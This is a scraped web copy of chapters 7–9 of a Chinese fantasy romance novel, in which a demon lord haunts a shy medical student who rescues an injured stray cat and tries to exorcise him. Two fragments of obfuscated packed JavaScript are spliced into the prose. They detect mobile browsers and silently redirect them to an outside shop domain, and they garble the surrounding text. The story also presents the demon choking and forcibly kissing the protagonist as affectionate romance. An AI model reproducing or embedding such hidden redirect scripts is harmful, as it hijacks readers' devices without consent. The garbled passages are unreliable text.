《万圣节派对上只有我一个人在cosplay》 7.七只猫咪 锈栅街墓地无边无际,高高低低的墓碑波浪起伏,几张沙滩躺椅散落在坟头草上,充满度假的悠闲氛围。 魔王舒舒服服地卧在太阳下,八块腹肌上的橄榄油晒得闪闪发亮,巨大墨镜遮住半张俊脸,左手捧着幽兰拿铁,右手抱住一坛茅台,左一口右一口,好不痛快。 狼人愤恨地一拳捶碎了一块碑:“明明是他们请我们来帮忙,居然还敢软禁我们!可恶的东方鬼!” 薇拉叉着毛肚在红锅里七上八下,呵呵道:“还不是因为你老板差点把漂亮小男孩抢回去做压寨夫人了?一没本地户口,二没本地编制,三还没脑子,人家家长能乐意吗?” 僵尸坐在墓碑上忧郁仰望天空:“找华夏对象这么难啊?” “对了对了!”薇拉猛地靠近魔王,八卦地问,“老板,你真把初羽拔下来送给小朋友了?” 顿时,方圆十里的耳朵都竖了起来。 魔王推高墨镜,露出一双莫名其妙的金眸:“那咋了?想送就送了呗。” 薇拉大为震撼:“怎么说的跟放了个屁一样轻松?先不说直接拔毛是不是有违生理规律,你就这么把可以召唤自己的东西送出去了?你知道一个普通魅魔的初羽在黑市上能卖多少钱吗?更何况是你这种级别的魔王!你是要对召唤者言听计从的知不知道!” 魔王爽朗大笑:“如果小猫咪能召唤我就好了,那样才好玩。” 薇拉感到不解:“有什么好玩的?他不就是一个普通人类小孩吗。” “你懂什么。”魔王不屑地横她一眼。 人类是愚蠢的低等生物,魔王钟爱高高在上地欣赏他们被欲望支配的疯癫模样,有些人为了爱欲和别人杀得头破血流,有些人则为了爱欲完全失去自己。 但相同的剧情看多了也就腻了,人类几千年来从未变过。 陶冬米这样的倒是稀罕,他的内心过于清澈见底,照下什么颜色的阳光,就呈现出什么颜色的水。不奔腾也不争抢,只是静静地汇聚。 被埋胸的时候这孩子大脑一片空白,被亲吻额头时又是一片空白,他不说我喜欢你,因为从未期冀过喜欢的人会答应他。对陶冬米来说,好像只要拥有这些情绪就可以了,他什么也不求。 在陶冬米看到见识到蔡学长的真面目时,魔王清晰地看到他心中玫红的火焰像被兜头泼了盆冷水,只剩下点点余烬……实在精彩!魔王围观得很爽。 让这样的纯情小笨蛋拥有顶级魅魔的召唤权,难道不是件很有趣的事儿吗? “等你到了我这个年纪。”魔王以一种过来人的口吻地对小女巫说,“你就知道这样的乐子有多难找了。” 旁边的骷髅绅士欲言又止,最终叹了口气:“阿弥陀佛。” 薇拉左右看看守在远处的东方鬼差,压低声音问:“大人你说,如果现在小朋友召唤你,你是不是就能离开这儿了?初羽的强召唤力度肯定能突破这个破法器。” 魔王意味不明地一笑:“小朋友连接吻都不会伸舌头,你说他知不知道怎么召唤魅魔?” 薇拉:“……” 戈德默默捂住了自己并不存在的耳朵。 “再说,小白兔肯定恨不得把羽毛扔的越远越好,怎么可能召唤我。” 薇拉恨铁不成钢:“那我只能叫我的猫把我救出去了!我想去店里吃火锅,听说有人会很热情地给我唱生日歌。” “別折腾了,这可是神秘的东方法器,我们出不去的。” 魔王舒舒服服地交叉双腿,用墨镜重新盖住大半张脸,双臂枕到后脑勺底下,“睡了,有活儿了叫醒我。” - 陶冬米不知道自己是怎么回到学校的。 只记得的士停车的时候,司机皱着眉问他还好吗,需不需要帮他打120,陶冬米说不用,跌跌撞撞地付钱下车。 早晨的校园残留着狂欢过后的气氛,几个学生拖着喝醉说胡话的朋友回宿舍,残妆半褪的女孩们抱着小恶魔翅膀,兴奋地叽叽喳喳,来不及卸妆的男生抱着笔记本电脑,气喘吁吁地向教学楼奔去……阳光普照,新一天的大学生活又开始了。 陶冬米却觉得眼前的一切都变得面目全非。 他站在校园广场中央,感到迷茫。 片刻后,麻木的双腿自己动了起来,下意识地朝一个方向走去。 陶冬米逐渐远离人群,来到僻静林荫道深处,四周越来越安静。 直到来到一个小木屋边,陶冬米停下脚步,弯腰往里望,笑了。 一只橘猫正在用大嘴铲猫粮。 陶冬米蹲下来:“我就知道是你!” 大橘暂停吃饭,“喵”一声蹭了过来,陶冬米笑着挠挠它的圆脑袋:“给太祖请安,喵。” 这只流浪小猫因为生了一张酷似鞋拔子的脸,本来被命名为“鞋拔子”,但是救助站的站长学姐认为小猫名字必须信达雅,所以最后定名为“太祖”。 “吃吧,不打扰您了。”陶冬米把太祖推回饭盆旁边。 陶冬米把空饭碗洗净擦干,满上新粮,换水,把小木屋四周也打扫了一遍,心情逐渐平静下来。 陪在小流浪身边总是陶冬米最享受的时刻。 忽然,陶冬米想到了什么,从衣袍的内兜里掏出了一根羽毛。 形状饱满完美,在阳光下闪着耀眼的金光。 这片羽毛如一只烫手山芋,陶冬米受惊地把它扔出去,轻飘飘的羽毛在半空中飘过来,飘过去,最后落进了泥地里。 还是亮得刺眼。 陶冬米皱着眉,犹豫许久,掏出一张纸巾包住手指,隔着纸巾将羽毛捏起来,嫌弃地伸开老远,快步朝垃圾桶走去。 可回收垃圾、厨余垃圾、有害垃圾。陶冬米毫不犹豫地将其扔进了有害垃圾。 这会儿他才觉得自己终于回到了正常生活,昨晚只是一场荒诞的噩梦。 “喵。” 一只大大的玳瑁猫来到陶冬米脚边,陶冬米惊喜道:“典韦!你怎么来了。” 此猫因脸上对称的毛色像“黄脸的典韦”而得名,它虽然体型大,但胆子小,很少亲人,一般人发现不了它的踪迹。 陶冬米赶紧掏出手机拍照,他要分享给救助站其他伙伴们炫耀。 “喵喵。”典韦又急切地叫了两声,往草丛里走,停下来,回头看看陶冬米。 “你想带我去什么地方?”陶冬米意识到。 跟着典韦,陶冬米来到草丛深处,眼前的景象令他毛骨悚然。 一只浑身是血的猫咪倒在草丛里,被血染得看不出毛色。陶冬米赶忙蹲下查看,猫咪的四肢都有人为折断的痕迹,深可见骨,口鼻也冒出鲜血,大大小小的伤口不计其数,触目惊心。 庆幸的是,即使伤得这么重,小家伙还有呼吸。 陶冬米二话不说飞奔去最近的救助站拿急救工具和航空箱,同时给合作的小动物医院打了个电话,最后向群里发送了紧急消息。 他知道大部分小伙伴昨晚都出去玩了,也不知道现在回来没有,但不管怎样,他自己会尽力。 止血,消毒,清理伤口,临时固定受伤的四肢,陶冬米做得迅速而冷静,有条不紊。 妈妈是镇上的兽医,陶冬米小时候跟了很多台手术,做妈妈的小助手,不知不觉也学会了很多动物急救知识,毕业后选择学医也是想救人。 陶冬米虽然年纪最轻,但已经是救助站里救助经验最丰富的临时医生。大家发现校园里的流浪猫狗或者小鸟如果受了什么小伤,第一反应都是找冬米医生。 冬米医生能解决的就不用送去医院了,省钱,小动物们也能得到迅速救治。 “冬米,我来了!” 一个女生风风火火地赶到,半句废话没有,“车我叫好了,停在最近的大门,它情况怎么样?” 陶冬米叫了她一声“学姐”,凝重地说:“很糟糕,伤得太重了,还有可能伤到了内脏,要赶紧去医院。” 两人配合默契,动作干练,很快将受伤的小猫送到医院进行抢救。 在手术室门口坐下,陶冬米才意识到自己后背已经完全汗湿了,双手发着细微的抖。 “别太紧张,小猫命硬,它会没事的。”学姐安慰他。 陶冬米皱眉:“它不是登记在册的猫,不知道是谁把他伤成这样。” 学姐:“嗯,我已经叫他们查监控去了。” “站长,多谢你今天赶过来,我一个人肯定没办法这么快把它送过来的。”陶冬米感激道。 学姐:“谢什么?这是我该做的。诶——你也刚从万圣派对回来?好玩儿吗?” 陶冬米一听“万圣”两个字便打了个激灵,低头看到自己还穿着天使的白袍子,光环和翅膀应该不小心落在…… 陶冬米刹住回忆,嗯嗯含混过去,反问道:“欣欣姐,你还没来得及卸妆就赶过来了,昨晚和动漫社的朋友一起玩的吗?” 姚欣欣是美院尖子生,动漫社的中流砥柱,流浪动物救助站站长,身兼数职。 刚开学救助站招募新志愿者的时候,陶冬米在摊位远处犹豫徘徊,是姚学姐走过来,友善地问他想不想了解一下救助站。 “是啊,可好玩儿了!”姚欣欣高兴了些,向陶冬米展示照片,“你看我们妆造是不是很厉害?尤其是这个恶魔,cos出了那种邪恶的感觉。” 陶冬米蜻蜓点水地瞥了下照片,心情复杂地说:“要是我参加的是你这场就好了。” 姚欣欣很豪爽:“可以啊!我们下次活动叫上你。” 陶冬米赶紧摆摆手说不用,由衷道:“学姐,我觉得你穿的更美。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882809|191940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“谢谢!我抽中了cos好人阵营,好可惜,扮神女太无聊了。谁想杀恶魔啊,我自己就想当坏蛋。”姚欣欣穿着一身洁白的长裙,胸前坠着一枚十字架。 陶冬米喃喃:“十字架……” 姚欣欣把十字架项链取下来:“怎么样,是不是很精致?我特地跑去城东的天主教堂买的,虽然cos的不是我最喜欢的角色,但我也要还原。” 陶冬米:“这也太还原了……” “哈哈,是啊,他们都开玩笑说这个真的可以用来驱魔。” “两位同学。”医生的声音响起,两个人立刻停止聊天,一起冲到医生面前,“情况怎么样!” “好消息。小猫已经脱离了生命危险,它伤得很重,但生命力异常顽强。”医生看着陶冬米说,“也多亏了你前期的正确处理,没有造成二次伤害,为我们清创节省了很多时间。” 陶冬米松了口气:“那就好。” 医生接着详细介绍了小猫受的伤,听得两人倒抽凉气,罪魁祸首实在罪不可赦。 小猫要住院观察,虽然他们和这家医院有合作折扣,但各种治疗费和住院费加起来也不便宜。 陶冬米说“我先付吧”,姚欣欣比他更快掏出了手机,给前台扫码。“放心吧,救助站的善款还有很多呢,用不着你付。” 陶冬米的手在衣兜里突然顿住了。 冰冷方块的手机旁边,多了另一种痒痒的触感。 捏住一端,拿出来。 金羽毛。 这怎么可能? 他刚才千真万确将羽毛扔进了学校垃圾桶的。 “你怎么了?”姚欣欣注意到他的异样。 陶冬米呆滞地盯着手中的羽毛。 姚欣欣凑过来:“你的手受伤了吗?” 陶冬米瞳孔一缩,别人看不到它? “没什么。”陶冬米说,“学姐,我稍微出去一下。” “嗯,注意安全。” 陶冬米来到街边,行人绿灯亮起,他走到斑马线中间,将羽毛丢到沥青马路上,折返。 行人红灯亮,车流轰鸣驶过,陶冬米面色苍白地看着金色羽毛被无数车轮碾碎,紧紧压进路面。 死得不能再死了。 陶冬米头也不回地快步回到宠物店。 两人处理好小猫的事回到学校,临别前,陶冬米问:“学姐……我能买你的十字架项链吗?” 姚欣欣愣了一下,干脆利落地直接把项链取下来放进陶冬米手里:“你喜欢呀,送你了,反正我已经用完了,之后也没有场合戴。” 陶冬米要给姚欣欣转钱,被严词拒绝,陶冬米只好说改天请学姐喝奶茶。 他把项链戴到脖子上,贴身放进内衣里层,冰凉的十字架直接贴住皮肤,冻得陶冬米一哆嗦。 不顾冰冷,他把十字架用力往自己心口更用力地贴了贴,越凉,他越安心。 陶冬米默念了一句God bless me,不知道God能不能真的bless bless他。 回宿舍的路上一路正常,推开宿舍门,屋内的暖气扑面而来,陶冬米感到片刻慰藉。 室友一号在埋头背书,室友二号在打游戏骂人,室友三号正在阳台和女友打电话,一口一个宝贝,宿舍和平时一模一样。 看到陶冬米回来,室友们纷纷和他打招呼,问他昨晚玩得怎么样,陶冬米和他们聊了一会儿,心安了很多。 陶冬米脱掉袍子,把全身上下的口袋、书桌、床铺、床上的毛绒小兔子都仔细检查了一遍,并没有羽毛的踪影,终于长长舒了口气。 短短一天里发生了太多事情,陶冬米身心俱疲,去浴室洗了个舒舒服服的热水澡,打算好好睡一觉。 洗澡的时候陶冬米也没把十字架摘下来,全方位无死角防御。 洗完澡,陶冬米穿着毛茸茸的睡衣站在镜子前,脸颊透着健康的粉红,吹风机开到最大风,白发翻飞,很快变成一团蓬松的蒲公英。 不一会儿陶冬米就把自己吹困了,大眼睛半眯着,长睫毛几乎盖住视野,眼镜慢慢顺着鼻梁往下滑。 十字架从毛乎乎的睡衣领里探出头,反射着神圣的光明。 “亲爱的,你好漂亮。”华丽深情的男性声线在耳边响起。 通过镜子,陶冬米迷迷蒙蒙地看到一个半透明的影子飘过来,宽肩长发,俊脸金瞳,亲昵地搂住了他。 陶冬米瞬间睁大了眼睛,脸上的血色褪得一干二净。 半透明的修长手指反复把玩陶冬米颈上的金属十字架,魔王大人显摆自己中世纪最高级的美学素养,挑剔道:“老婆,你这个装饰太非主流了。” 陶冬米呼吸困难,随时处在晕倒边缘。 魔王赶紧安抚地抱住他:“但戴在你身上就很好看。” 8.八首歌谣 陶冬米看着镜中半透明的影子,恶魔微笑地看着他。 陶冬米扭头,恶魔也扭头,一人一鬼鼻尖对鼻尖,对视。 魔王:“哈哈,你以为我是你幻想出来的吗?劲爆好消息——并不是!” 陶冬米行动迟缓地向后退了半步,魔王得寸进尺地往前飘了一米。 “哎呀,突然发现我还没有向你做过正式的自我介绍,本王孟翟思,是西方地狱七大魔王之一、头牌美男子、情欲之神、顶级魅魔,所以婚后的夫妻生活你大可以放心……” 陶冬米面无表情地举起吹风机,开到最烫温度最大风力,二话不说怼到魔王的脸上。 哗,栗色长卷发瞬间乱七八糟地飞起来,糊了魔王满脸,地狱头牌美男子被呲成了丐帮金毛狮王。 趁金毛狮王发愣,陶冬米眼疾手快地把十字架摁到魔王脸上。 预料中魔王被十字架烧毁容的场景并没有出现。 魔王笑了,顺势握住陶冬米发抖的手,连着十字架一起完全包裹进自己的大手里。 “虽然这东西太非主流,但既然是老婆送我的,我也很喜欢。” 魔王绅士地托住陶冬米的手,飘然俯身,从男孩指尖轻吻到指根,最后吻了一下十字架。 陶冬米惊惧交加,触电般的抽回手,反手狠狠抽了恶魔一个响亮的耳光。 “啪!!” 抽完,双方都愣了。 恶魔慢慢眯起眼,金色瞳仁变暗,酝酿着极度危险的气息。 “一千五百年,这是第一次有人扇我巴掌。” 陶冬米冷汗一下子下来,唯唯诺诺地说:“对、对不起……” “凡是试图攻击我的人都死得很惨。”魔王语气淡淡,居高临下地掐住了陶冬米的脖子。 陶冬米喘不上气,感觉下一秒就要被恶魔掐死。恶魔杀过很多人?恶魔会不会法术?能不能让他死得轻松一点? 就在陶冬米胡思乱想的时候,恶魔突然用力吻住了他的唇。 吻比上次更凶,恶魔扣着他的脖子,力气大得无法撼动,啃咬,吮吸,本就所剩无几的氧气被掠夺得一干二净。 “唔唔……嗯……” 每当陶冬米快要窒息的时候,恶魔便悠悠放过他,任由陶冬米急促地喘息片刻,恶魔又毫无征兆地亲过来,像猫抓耗子,游刃有余地把控着玩弄的节奏。 陶冬米很快就被亲得双腿发软,脑子混乱不堪,叫都叫不出来。 最后恶魔终于大发慈悲地放过他,陶冬米通红的脸上已经挂满了泪。 “呀。”恶魔惊讶地碰碰陶冬米的脸颊,“怎么被亲哭了。” 陶冬米愤恨地瞪着恶魔,眼眶通红,瘦白的胸膛快速起伏,想骂什么,但没骂出来。 “嗯,我有毛病。”恶魔彬彬有礼地点头,“嗯嗯,你说得对,我是超级疯子大混蛋。” 陶冬米猛地扬头:“你知道我心里在想什么?” “我杀过很多人,我当然会法术,但我永远不会让你死的。”恶魔对陶冬米心中的疑问句句有回应,直接证实了他的猜测,恶魔会读心。 恶魔语气宠溺:“挑衅我的人会死,但你不会,因为你是我妻子,被老婆赏巴掌是丈夫的荣幸。” 令陶冬米震惊的句子太多了,他优先挑选最重要的内容进行严肃声明:“我的婚姻状况是未婚!” “亲爱的,相信我,你只是还没有习惯婚后生活。”恶魔宽容地说。 “我懂了。”陶冬米进行逻辑思考,冷静求证,“你是因为我把你的金羽毛碎尸了,所以来找我报仇,对不对?” 恶魔笑得前仰后合:“哦我的甜心,你真可爱!我想你需要知道真相……呃。” 恶魔突然露出烦躁的表情,加快语速对陶冬米说:“抱歉老婆,我得走了,下次再和你说。” 陶冬米崩溃:“没有下次!” 恶魔不由分说地搂住陶冬米,狠狠啵了一口:“回见亲爱的。” 虚影的透明度逐渐变低,又变高回来,恶魔留下最后一句“老婆,下次可以扇重一点”,噩梦般的身影终于彻底消失在空中。 陶冬米:“……” 他在原地愣了很久,拧开浴室门,跌跌撞撞地冲了出去。 “小陶,你还好吗?嘴唇都白了。” 室友一号叫孔武,一位砖头般的男子,担心地看着陶冬米,“你在浴室太久了,叫你也没反应,只能听到水声,我们以为你低血糖了。” 打游戏的室友二号名为文曲,瘦高竹竿放下手机舒一口气:“门也锁着。吓死人,我差点叫宿管了。” 室友们的温情令陶冬米鼻子一酸:“谢谢你们,我没事,给你们添麻烦了。” 果然世上只有人类好。 陶冬米没法说自己被恶魔缠上了,说出去谁会信?显然恶魔把隔音障眼法什么的都做好了。 孔武还是有些担心:“是昨天在学长的派对上玩通宵太累了吗?要不要吃点东西,我这里有泡面。” 陶冬米感激地婉拒,一听“学长”两个字,他就更加吃不下任何东西。 踩着梯子上床,放下窗帘,抱住毛绒兔子,再用厚厚的被窝从头裹到脚,陶冬米终于感到片刻踏实。 躲在被窝里,陶冬米抿着唇,认真用手机敲字:如何驱魔。 - “阿斯蒙蒂斯睡着了?这怎么可能!”女巫仿佛听到什么天大的笑话,“你见过恶魔睡觉的吗?” 僵尸发誓:“真的!我想找大人要两杯奶茶来喝,发现他在躺椅上睡着了,怎么都叫不醒。” 女巫翻了个白眼:“那他只是不想理你,不是睡着了。” 骷髅:“没错,魔王大人是永远保持着魔力防身的。” 僵尸:“我直接从他桌上拿了一杯奶茶喝,他还是没醒。” 女巫将信将疑:“真的?这都没醒?” 骷髅:“可能他只是喝腻了。” 众鬼围到老板身边,只见魔王先生直挺挺躺在躺椅上,双手交叠于胸口,墨镜遮脸,长发披肩,睡颜一派安详。 狼人在心口划了个倒十字:“RIP.” 女巫悠悠笑道:“沃尔夫,你期待这一天很久了吧。” 僵尸委屈:“我就说大人是睡着了!年纪大了是容易犯困的。” 骷髅:“……你们看。” 睡梦中的魔王露出了一个神秘微笑。 众鬼:…… 这是做什么美梦了? 下一秒,“啪”一声脆响,魔王的黄金左脸上赫然浮现出一个清晰的手掌印。 众鬼:????? 谁能伤到阿斯蒙蒂斯?阿斯蒙蒂斯能允许谁近他身?难道加百列跨境执法了?难道魔王大人已经独自去对抗未知魔族力量了?! 这是足以拉响地狱级警报的严重事故。僵尸尖叫,狼人咆哮,女巫思考,骷髅冷静指挥:“别慌!咱们先叫醒大人,他这是离魂了!” 女巫踹了僵尸一脚,僵尸跳起来,会意地冲向魔王,张开满是利齿的嘴朝魔王的胳膊咬下去。 还差一寸咬到的时候,魔王悠悠转醒,随手将僵尸抛到五十米开外,一路砸废了十多个无名坟头,帅脸上满是极度不爽的起床气:“叫魂呢?” 僵尸一蹦三跳涕泗交流地跑回来:“太好了大人你还好好死着!” 狼人遗憾叹息,骷髅顺顺胸骨。 女巫眯起眼,压低声音问魔王:“你不是说东方法器很厉害,无论如何也出不去的吗?我们几个都试过了,离魂也出不去,你怎么做到的?” 魔王:“因为我没出去。” 女巫:“所以那一巴掌是锈栅街某个坟头里的东方先祖扇的你?” 魔王滞了一下:“你们看得到?” 女巫无语:“不然我们为什么叫你起来?还不是怕你被不知何方神圣揍到魂飞魄散了。” 魔王立刻高调炫耀:“我确实出去了,我老婆扇的。” 女巫冷哼。 魔王:“我说真的,没骗你。” 女巫早已习惯老板满嘴跑火车,骂骂咧咧地离开:“算了,神经病。” - 小猫的恢复能力出奇的快,不过两三天已经恢复得差不多了。 救助站的同学们都很关心这只小猫,几乎在医院凑齐了,正商量着给它取个什么名字,方便登记在册。 之前血肉模糊的时候看不太出来,现在清理干净了,大家才发现这只猫是真的丑。 灰黑毛色交杂,毛质粗硬扎手,乱七八糟地翘着,小小的眼睛上面有两道八字白眉毛,整只猫看上去又潦草又可怜。 虽然它生命力很顽强,但胆子特别小,紧紧缩在隔间的小角落里,没人能碰到它。 它唯一不怕的人是陶冬米。 可能是因为他们俩胆子都很小。 “冬米,你给他取个名字吧!你救了它的命,所以它亲近你。” 陶冬米不擅长取名,绞尽脑汁了想了一会儿,道:“要不就叫囧囧吧,它的脸有点囧囧的。” 大家哈哈大笑,纷纷表示赞同。只是如果囧囧知道别的猫都叫“太祖”、“典韦”之类的,不知道它会不会生气。 比较消沉的消息是,查监控的同学没发现凶手,希望能尽快找到别的线索。 回学校的路上,陶冬米和同学们告别,绕路去了一趟书店—— 购入《圣经》精装本一本。 陶冬米从万能的互联网上了解到,对于恶魔来说,光明的语言拥有无法估量的杀伤力。每天诚心朗读圣经半小时,保证任何西方邪祟都不敢近身。 注:精装本效果更好。 沉甸甸的书本装进书包,陶冬米感到前所未有的安全感。 十字架无法灼烧恶魔,厚厚的书至少能把恶魔砸晕。 回到学校,陶冬米直奔图书馆。 派对后的生活回归正轨,陶冬米要抓紧时间预习、复习、评奖学金,还要每天抽空朗诵圣经,时间很紧张。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895149|191940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小陶?” 陶冬米脚步一顿,抬头,看到蔡宇杰的脸。 “你生病了?看上去脸色不太好。”蔡宇杰声音温沉。 陶冬米用围巾裹住下半张脸,逃避看他。 如果是平时,听到蔡宇杰这样温柔地关心自己的身体,陶冬米一定会脸红心跳,但现在,他只觉得心跳变得缓慢,四肢也很麻木。 像一个本来在热情奔跑的人,突然发现终点线变得模糊,自己正一脚深一脚浅地踩在齐膝深的大雪里,全身都被冻僵了,意义也变得迷失,但身体但还在缓慢地向着原来的方向前进。 “你那天没有来万圣派对,是因为生病了吗?”蔡宇杰问。 陶冬米又想到蔡宇杰和他的哥们儿说“我没邀请陶冬米”,于是轻轻点了点头。 这是陶冬米第一次在蔡宇杰面前撒谎。 蔡宇杰无奈地叹了口气:“怎么不懂得照顾自己,我等会儿给你买点药。” 陶冬米摇头:“谢谢学长,不用了。” “那好吧。”蔡宇杰温声叮嘱,“最近就别来实验室帮忙了,好好休息,养好身体最重要。” 陶冬米沉默地点点头。 “下个月开始会有点忙,别的地方找不到我的话,我大部分时间都在实验室。” “……嗯。”陶冬米轻轻呼吸,他感觉到胃在绞痛。 学长走后,陶冬米在图书馆找了个没人的角落坐下,迟缓地将书本依次摆到桌上。 原来还是有点难过的。 陶冬米盯着最上面那本《圣经》发了会儿呆,翻开第一页。 “起初,神创造天地。地是空虚混沌,深渊上面一片黑暗;神的灵运行在水面上。神说:「要有光」,就有了光。” 创世的故事,陶冬米起先觉得还算有趣,渐渐的就有些犯困。 但一想到资料说要诚心朗读,陶冬米又赶紧支棱起来,一字一字认真阅读。 “耶和华神对蛇说:你既做了这事,就必受诅咒,比一切的牲畜和野兽更重……” 读完一页,陶冬米还未动作,就见书页自己飘动起来,好像被一只无形的手拎着,向后翻了一页。 陶冬米悚然停顿,机械地向后转头。 “嗨,老婆!” 魔王的虚影笑眯眯地吧唧一口亲在陶冬米脸上,“几天不见,有没有想老公?” 陶冬米视若无睹,立刻回头,开始全神贯注地、虔诚地朗读圣经。 心中默念:上帝保佑,驱散恶魔,上帝保佑,驱散恶魔。 字正腔圆地读完一页,陶冬米怀抱无限期待,试探地向后看—— 魔王不仅没有消失,而且他居然在抹眼泪。 一坨巨大的虚影坐在半空中垂泪耸肩,实在诡异至极。 陶冬米麻了:“你在做什么?” 魔王眼泪汪汪地抬起脸:“老婆为我诵读经典,我好感动。” 陶冬米:“……” 魔王眼泪一收,瞬间换上认真的神态,摆出老师的架势:“但如果你想驱散恶魔,念中文的效果很差。来,老公教你念希伯来语原版,驱魔是最有效的。” 陶冬米满脸麻木。 说着,魔王毫无边界感地飘了过来,坐到陶冬米身后,将男孩整个拥进了怀中。 如果魔王有实体,那么此刻,他们就像一对腻歪的普通情侣,在光天化日的图书馆里做着会被挂上校园吐槽墙的事。 不知是万幸还是不幸,现在只有陶冬米看得到、听得到这个烦人精。 烦人精在耳边低声念叨着一种历史源远的古老语言,像梦中絮语,又好似黄昏歌谣。 魔王独自絮絮叨叨了很久,陶冬米面无表情,突然开口问:“你念的是什么意思?” “老婆真好学!主动提问了耶。” 魔王开心地指着书上的一段话,字正腔圆地念出它的中文翻译:“耶和华见人在地上罪大恶极,终日心里所想的都是恶事。” ——耶和华就因造人在地上感到遗憾,心中忧伤。 ——耶和华说:「我要把所造的人和走兽,爬行动物,以及天空的飞鸟,都从地面上除灭,因为我造了他们感到遗憾。」 魔王用希伯来语和中文双语念诵《圣经》,竟是渐入佳境,哪有半点被驱散的迹象?看来这个方法也行不通。 魔王突然停下,可怜地问:“老婆想赶我走吗?” 陶冬米紧急收拢思想,恶魔能看穿他,所以他不能再继续想下去。 且等恶魔离开后再另寻他法。 陶冬米突然问:“你想走吗?” 魔王像巨型考拉一样紧紧抱住陶冬米:“当然不想!” 陶冬米把《圣经》和一份纸笔推到旁边,冷漠道:“喜欢圣经就奖励你从头开始抄一遍。” 魔王:“……” 陶冬米漠然地掏出一本《生理学》:“我要开始背书了,别吵我。” 混蛋恶魔,尽管来偷窥我的内心吧,让你见识见识人体的奥妙。 9.九盏壁灯 悲报,世上最胆小的人类被世上最神经病的恶魔缠上了。 陶冬米数不清他一天会被吓到多少次。 早上醒来一睁眼,恶魔的虚影侧卧在床边,用魅惑的低音炮跟他说“早安”; 上课上到一半,恶魔突然从桌面跳出来,左扭右扭地企图挡住陶冬米的视野; 和同学约饭的时候,恶魔duang大一只挤在陶冬米手边,张大满是尖牙的嘴,可怜地指指里面,“老婆喂我我也要吃”; 最恐怖的是,夜里复习完独自走回寝室,幽暗无人的小路前飘起一双发亮的金色眼睛,像一簇鬼火,手里还捧着一杯半透明的奶茶,乐颠颠追在陶冬米身后问,老婆要不要喝,要不要喝…… 陶冬米最开始经常被吓到面容失色,身边的人总是投来或关心或疑惑的目光。旁人看不到恶魔,在他们眼中陶冬米就像是被空气吓到了一样。 陶冬米知道这样看起来不正常,也不想加深别人心中自己胆小的形象,所以之后每次被恶魔突脸的时候,他会保持表面镇定,只默默心惊肉跳。 但室友还是发现他不太对劲。 孔武虽然长相粗犷,但心思细腻,皱着眉问陶冬米:“你从蔡学长的派对回来之后就一直不太舒服的样子,他那天对你做什么了吗?” 陶冬米愣了愣,才摇头:“没有。” “有什么需要帮忙的就跟我说。”孔武说。 陶冬米感激地点头:“谢谢孔哥。” 可惜这忙没人帮得了。 被恶魔缠上也就罢了,还被恶魔强行当成了妻子,荒谬得难以启齿。 陶冬米又尝试了很多驱魔方法,但遗憾的是效果都不尽人意。 在无人的清晨吟唱圣歌,恶魔双手合十慢慢浮现,给陶冬米唱和声,顺便指导他正确的发声方式。 将天使符印贴在书包和衣服里,恶魔用笔在符印上勾勾画画,义愤填膺地对陶冬米说:“这个版本已经落后五百年了,我免费帮你做代码升级——你在谁那里买的符印?应该不便宜吧,给他打差评!” 陶冬米甚至尝试了中式方案,在桌上摆关公像,关圣帝君威风凛凛站立,手执大刀,驱邪避凶,威震四方。恶魔趴到桌边,充满怀念地说:“啊,关二爷,第一次见到他的时候我还是个小魔,跟撒旦老东西来东方参加世界鬼神交流会。关二爷当时摸着我的脑袋说,小蒙,你以后一定能讨到个好媳妇。天呐!这话真的灵验了,我要带水果去感谢他……” “……” 陶冬米权当他不存在,自己看自己的书。 虽说这位恶魔还没有做过任何伤害到他的事,但上次被他先掐后亲到快窒息的事还是让陶冬米心有余悸。 恶魔是个疯子,不知道激怒他后会发生什么事,陶冬米现在很谨慎,采取的主要应对策略是漠视这坨马赛克。 陶冬米怕归怕,脑子却很清醒,总结出了几条规律。 一、恶魔每次出现的形式都是虚影,并非实体。 二、每次出现的时间都不长,烦他十几分钟就消失了。 三、金羽毛再也没有出现过。 通过简单的逻辑推断,恶魔现在肯定是被什么限制住了,所以现在很可能是恶魔能力的低峰期,必须要抓住这段黄金时间,将恶魔彻底驱散,等他恢复全盛就来不及了。 从各处搜罗来的那些驱魔方法都和过家家似的,陶冬米必须要找些狠角色了。 - “再不来活儿,我都想回家了。”狼人睡在坟头草丛上,烦躁地翻来覆去晒肚皮,“关在这儿也出不去,我想去市中心吃人。” 薇拉怀里抱着一只黑猫,用叉子将肉夹馍塞进嘴里,心满意足地说:“那你先回去吧,我在这儿呆着挺舒服的。” 僵尸坐在放映机前,一把鼻涕一把泪:“嬛嬛…呜呜呜……等我把全集看完再回去……” 狼人不爽地嚎了一声,一个翻身蹲到魔王身边,请旨道:“大人,如果三天内再没有动静,很可能是检测仪又出bug了,我们就打道回府吧。” 魔王戴着墨镜歪在躺椅上,嘴角抿着幸福的微笑,很不走心地说:“那你先回去吧。” 狼人:“那我能不能工资照领?” 魔王:“清零。” 狼人喷泪:“大人你不能这样!” 薇拉噗嗤笑了:“再过半小时就是东方鬼交班的时候,防御薄弱,你的大人又要去找他的人类小老婆了,心早飞走了。” 骷髅绅士叹了口气:“大人,您在东方法器里频频离魂,被阎王大人发现事小,对灵体造成不明损害事大啊。” 阿斯蒙蒂斯自信笑出八颗雪亮的牙齿:“不会的。” 